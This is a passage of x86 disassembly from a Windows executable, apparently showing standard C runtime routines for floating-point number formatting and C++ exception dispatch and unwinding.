		jle	short loc_41C89C
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41C8AB
; ---------------------------------------------------------------------------


loc_41C89C:				; CODE XREF: sub_41C86F+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_4395A0
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41C8AB:				; CODE XREF: sub_41C86F+2Bj
		test	eax, eax
		jnz	short loc_41C883


loc_41C8AF:				; CODE XREF: sub_41C86F+12j
		mov	cl, byte_4397B0
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_41C8BA:				; CODE XREF: sub_41C86F+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_41C8BA
		pop	esi
		retn
sub_41C86F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C8C9	proc near		; CODE XREF: sub_419E38+3E2p
					; DATA XREF: sub_417D8B+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_4397B0
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41C8E5


loc_41C8D9:				; CODE XREF: sub_41C8C9+1Aj
		cmp	cl, dl
		jz	short loc_41C8E5
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_41C8D9


loc_41C8E5:				; CODE XREF: sub_41C8C9+Ej
					; sub_41C8C9+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_41C916


loc_41C8EC:				; CODE XREF: sub_41C8C9+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41C8FF
		cmp	cl, 65h
		jz	short loc_41C8FF
		cmp	cl, 45h
		jz	short loc_41C8FF
		inc	eax
		jmp	short loc_41C8EC
; ---------------------------------------------------------------------------


loc_41C8FF:				; CODE XREF: sub_41C8C9+27j
					; sub_41C8C9+2Cj ...
		mov	ecx, eax


loc_41C901:				; CODE XREF: sub_41C8C9+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_41C901
		cmp	[eax], dl
		jnz	short loc_41C90C
		dec	eax


loc_41C90C:				; CODE XREF: sub_41C8C9+40j
					; sub_41C8C9+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_41C90C

locret_41C916:				; CODE XREF: sub_41C8C9+21j
		retn
sub_41C8C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C917	proc near		; DATA XREF: sub_417D8B+28o
					; ___:off_43B910o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jb	short loc_41C92C
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41C92C:				; CODE XREF: sub_41C917+Fj
		xor	eax, eax
		retn
sub_41C917	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C92F	proc near		; CODE XREF: sub_41D797+430p
					; DATA XREF: sub_417D8B+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_41C958
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_42067A
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41C958:				; CODE XREF: sub_41C92F+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_4206A7
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_41C92F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C96D	proc near		; CODE XREF: sub_41CBEA+17p
					; sub_41CC34+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_48A084, 0
		push	ebx
		push	esi
		jz	short loc_41C9A2
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_48A080
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41CC85
		pop	ecx
		pop	ecx
		jmp	short loc_41C9DA
; ---------------------------------------------------------------------------


loc_41C9A2:				; CODE XREF: sub_41C96D+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_42074B
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_4206D4
		add	esp, 14h


loc_41C9DA:				; CODE XREF: sub_41C96D+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_41C9E6
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_41C9E6:				; CODE XREF: sub_41C96D+73j
		test	ebx, ebx
		jle	short loc_41C9FE
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_4397B0
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_41C9FE:				; CODE XREF: sub_41C96D+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_48A084, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_4179C0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_41CA25
		mov	byte ptr [ecx],	45h


loc_41CA25:				; CODE XREF: sub_41C96D+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_41CA6A
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_41CA39
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_41CA39:				; CODE XREF: sub_41C96D+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_41CA50
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_41CA50:				; CODE XREF: sub_41C96D+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_41CA67
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_41CA67:				; CODE XREF: sub_41C96D+E7j
		add	[ecx+1], bl


loc_41CA6A:				; CODE XREF: sub_41C96D+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41C96D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CA71	proc near		; CODE XREF: sub_41CC11+13p
					; sub_41CC34+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_48A084, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_41CAAC
		mov	eax, dword_48A088
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_48A080
		cmp	eax, ebx
		jnz	short loc_41CADC
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_41CADC
; ---------------------------------------------------------------------------


loc_41CAAC:				; CODE XREF: sub_41CA71+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_42074B
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_4206D4
		add	esp, 14h


loc_41CADC:				; CODE XREF: sub_41CA71+22j
					; sub_41CA71+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_41CAEA
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_41CAEA:				; CODE XREF: sub_41CA71+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_41CB01
		push	1
		push	edi
		call	sub_41CC85
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_41CB03
; ---------------------------------------------------------------------------


loc_41CB01:				; CODE XREF: sub_41CA71+7Ej
		add	edi, eax


loc_41CB03:				; CODE XREF: sub_41CA71+8Ej
		test	ebx, ebx
		jle	short loc_41CB48
		push	1
		push	edi
		call	sub_41CC85
		mov	al, byte_4397B0
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_41CB48
		cmp	byte_48A084, 0
		jz	short loc_41CB2D
		neg	esi
		jmp	short loc_41CB33
; ---------------------------------------------------------------------------


loc_41CB2D:				; CODE XREF: sub_41CA71+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_41CB35


loc_41CB33:				; CODE XREF: sub_41CA71+BAj
		mov	ebx, esi


loc_41CB35:				; CODE XREF: sub_41CA71+C0j
		push	ebx
		push	edi
		call	sub_41CC85
		push	ebx
		push	30h
		push	edi
		call	sub_417330
		add	esp, 14h


loc_41CB48:				; CODE XREF: sub_41CA71+94j
					; sub_41CA71+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41CA71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CB4F	proc near		; CODE XREF: sub_41CC34+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_42074B
		mov	dword_48A080, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_48A088, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_4206D4
		mov	eax, dword_48A080
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_48A088, ecx
		setl	cl
		mov	byte_48A08C, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_48A088, eax
		jl	short loc_41CBD5
		cmp	eax, ebx
		jge	short loc_41CBD5
		test	cl, cl
		jz	short loc_41CBC6


loc_41CBBC:				; CODE XREF: sub_41CB4F+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_41CBBC
		and	[esi-2], al


loc_41CBC6:				; CODE XREF: sub_41CB4F+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41CC11
		add	esp, 0Ch
		jmp	short loc_41CBE5
; ---------------------------------------------------------------------------


loc_41CBD5:				; CODE XREF: sub_41CB4F+63j
					; sub_41CB4F+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41CBEA
		add	esp, 10h


loc_41CBE5:				; CODE XREF: sub_41CB4F+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBEA	proc near		; CODE XREF: sub_41CB4F+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_48A084, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C96D
		and	byte_48A084, 0
		add	esp, 10h
		retn
sub_41CBEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC11	proc near		; CODE XREF: sub_41CB4F+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_48A084, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41CA71
		and	byte_48A084, 0
		add	esp, 0Ch
		retn
sub_41CC11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC34	proc near		; CODE XREF: sub_419E38+3AAp
					; DATA XREF: sub_417D8Bo ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_41CC6F
		cmp	[ebp+arg_8], 45h
		jz	short loc_41CC6F
		cmp	[ebp+arg_8], 66h
		jnz	short loc_41CC5C
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41CA71
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41CC5C:				; CODE XREF: sub_41CC34+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41CB4F
		jmp	short loc_41CC80
; ---------------------------------------------------------------------------


loc_41CC6F:				; CODE XREF: sub_41CC34+7j
					; sub_41CC34+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C96D


loc_41CC80:				; CODE XREF: sub_41CC34+39j
		add	esp, 10h
		pop	ebp
		retn
sub_41CC34	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC85	proc near		; CODE XREF: sub_41C96D+2Cp
					; sub_41CA71+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_41CCA8
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_417AB0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_4182C0
		add	esp, 10h
		pop	esi


loc_41CCA8:				; CODE XREF: sub_41CC85+7j
		pop	edi
		retn
sub_41CC85	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CCAA	proc near		; CODE XREF: ___:00417F6Cp
					; sub_417FD5+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_41CCC0
		call	sub_41D552


loc_41CCC0:				; CODE XREF: sub_41CCAA+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_41CCE8
		cmp	dword ptr [esi+4], 0
		jz	short loc_41CD3E
		cmp	[ebp+arg_14], 0
		jnz	short loc_41CD3E
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_41CFF1
		add	esp, 10h
		jmp	short loc_41CD3E
; ---------------------------------------------------------------------------


loc_41CCE8:				; CODE XREF: sub_41CCAA+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_41CD3E
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41CD22
		cmp	[eax+14h], edi
		jbe	short loc_41CD22
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_41CD22
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_41CD41
; ---------------------------------------------------------------------------


loc_41CD22:				; CODE XREF: sub_41CCAA+4Aj
					; sub_41CCAA+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_41CD45
		add	esp, 20h


loc_41CD3E:				; CODE XREF: sub_41CCAA+23j
					; sub_41CCAA+29j ...
		push	1
		pop	eax


loc_41CD41:				; CODE XREF: sub_41CCAA+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41CCAA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CD45	proc near		; CODE XREF: sub_41CCAA+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_41CD65
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_41CD6A


loc_41CD65:				; CODE XREF: sub_41CD45+16j
		call	sub_41D552


loc_41CD6A:				; CODE XREF: sub_41CD45+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_41CEC1
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41CDDE
		cmp	[esi+14h], edi
		jnz	short loc_41CDDE
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41CDDE
		mov	esi, dword_48A090
		test	esi, esi
		jz	loc_41CEBC
		mov	eax, dword_48A094
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_4208D2
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41CDC0
		call	sub_41D552


loc_41CDC0:				; CODE XREF: sub_41CD45+74j
		cmp	[esi], ebx
		jnz	loc_41CEC1
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41CDDE
		cmp	[esi+14h], edi
		jnz	short loc_41CDDE
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41CDDE
		call	sub_41D552


loc_41CDDE:				; CODE XREF: sub_41CD45+41j
					; sub_41CD45+46j ...
		cmp	[esi], ebx
		jnz	loc_41CEC1
		cmp	dword ptr [esi+10h], 3
		jnz	loc_41CEC1
		cmp	[esi+14h], edi
		jnz	loc_41CEC1
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_418123
		add	esp, 14h
		mov	ebx, eax


loc_41CE15:				; CODE XREF: sub_41CD45+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_41CEAC
		cmp	[ebx], edi
		jg	short loc_41CEA1
		cmp	edi, [ebx+4]
		jg	short loc_41CEA1
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_41CE9E


loc_41CE3A:				; CODE XREF: sub_41CD45+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_41CE6B


loc_41CE4C:				; CODE XREF: sub_41CD45+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_41CF94
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41CE7A
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_41CE4C


loc_41CE6B:				; CODE XREF: sub_41CD45+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_41CE3A
		jmp	short loc_41CE9E
; ---------------------------------------------------------------------------


loc_41CE7A:				; CODE XREF: sub_41CD45+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41D0A5
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_41CE9E:				; CODE XREF: sub_41CD45+F3j
					; sub_41CD45+133j
		mov	edi, [ebp+var_10]


loc_41CEA1:				; CODE XREF: sub_41CD45+DEj
					; sub_41CD45+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_41CE15
; ---------------------------------------------------------------------------


loc_41CEAC:				; CODE XREF: sub_41CD45+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_41CEBC
		push	1
		push	esi
		call	sub_41D41A
		pop	ecx
		pop	ecx


loc_41CEBC:				; CODE XREF: sub_41CD45+56j
					; sub_41CD45+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41CEC1:				; CODE XREF: sub_41CD45+37j
					; sub_41CD45+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_41CEE7
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41CEEC
		add	esp, 20h
		jmp	short loc_41CEBC
; ---------------------------------------------------------------------------


loc_41CEE7:				; CODE XREF: sub_41CD45+180j
		jmp	sub_41D4FC
sub_41CD45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CEEC	proc near		; CODE XREF: sub_41CD45+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_48A098, 0
		push	esi
		push	edi
		jz	short loc_41CF1D
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417FFA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41CF90


loc_41CF1D:				; CODE XREF: sub_41CEEC+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_418123
		add	esp, 14h
		mov	esi, eax


loc_41CF39:				; CODE XREF: sub_41CEEC+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_41CF90
		cmp	edi, [esi]
		jl	short loc_41CF88
		cmp	edi, [esi+4]
		jg	short loc_41CF88
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_41CF62
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_41CF88


loc_41CF62:				; CODE XREF: sub_41CEEC+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D0A5
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_41CF88:				; CODE XREF: sub_41CEEC+57j
					; sub_41CEEC+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_41CF39
; ---------------------------------------------------------------------------


loc_41CF90:				; CODE XREF: sub_41CEEC+2Fj
					; sub_41CEEC+53j
		pop	edi
		pop	esi
		leave
		retn
sub_41CEEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CF94	proc near		; CODE XREF: sub_41CD45+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_41CFEB
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_41CFEB
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_41CFC5
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41CFE7


loc_41CFC5:				; CODE XREF: sub_41CF94+1Fj
		test	byte ptr [esi],	2
		jz	short loc_41CFCF
		test	byte ptr [edi],	8
		jz	short loc_41CFE7


loc_41CFCF:				; CODE XREF: sub_41CF94+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_41CFDE
		test	byte ptr [edi],	1
		jz	short loc_41CFE7


loc_41CFDE:				; CODE XREF: sub_41CF94+43j
		test	al, 2
		jz	short loc_41CFEB
		test	byte ptr [edi],	2
		jnz	short loc_41CFEB


loc_41CFE7:				; CODE XREF: sub_41CF94+2Fj
					; sub_41CF94+39j ...
		xor	eax, eax
		jmp	short loc_41CFEE
; ---------------------------------------------------------------------------


loc_41CFEB:				; CODE XREF: sub_41CF94+Bj
					; sub_41CF94+14j ...
		push	1
		pop	eax


loc_41CFEE:				; CODE XREF: sub_41CF94+55j
		pop	edi
		pop	esi
		retn
sub_41CF94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CFF1	proc near		; CODE XREF: sub_41CCAA+34p
					; ___:0041D0E7p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424860
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_41D023:				; CODE XREF: sub_41CFF1+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_41D07D
		cmp	esi, 0FFFFFFFFh
		jle	short loc_41D032
		cmp	esi, [edi+4]
		jl	short loc_41D037


loc_41D032:				; CODE XREF: sub_41CFF1+3Aj
		call	sub_41D552


loc_41D037:				; CODE XREF: sub_41CFF1+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_41D052
		push	103h
		push	ebx
		push	eax
		call	sub_41D4B0


loc_41D052:				; CODE XREF: sub_41CFF1+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41D072
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_41D08F
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_41D072:				; CODE XREF: sub_41CFF1+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_41D023
; ---------------------------------------------------------------------------


loc_41D07D:				; CODE XREF: sub_41CFF1+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41CFF1	endp


; =============== S U B	R O U T	I N E =======================================



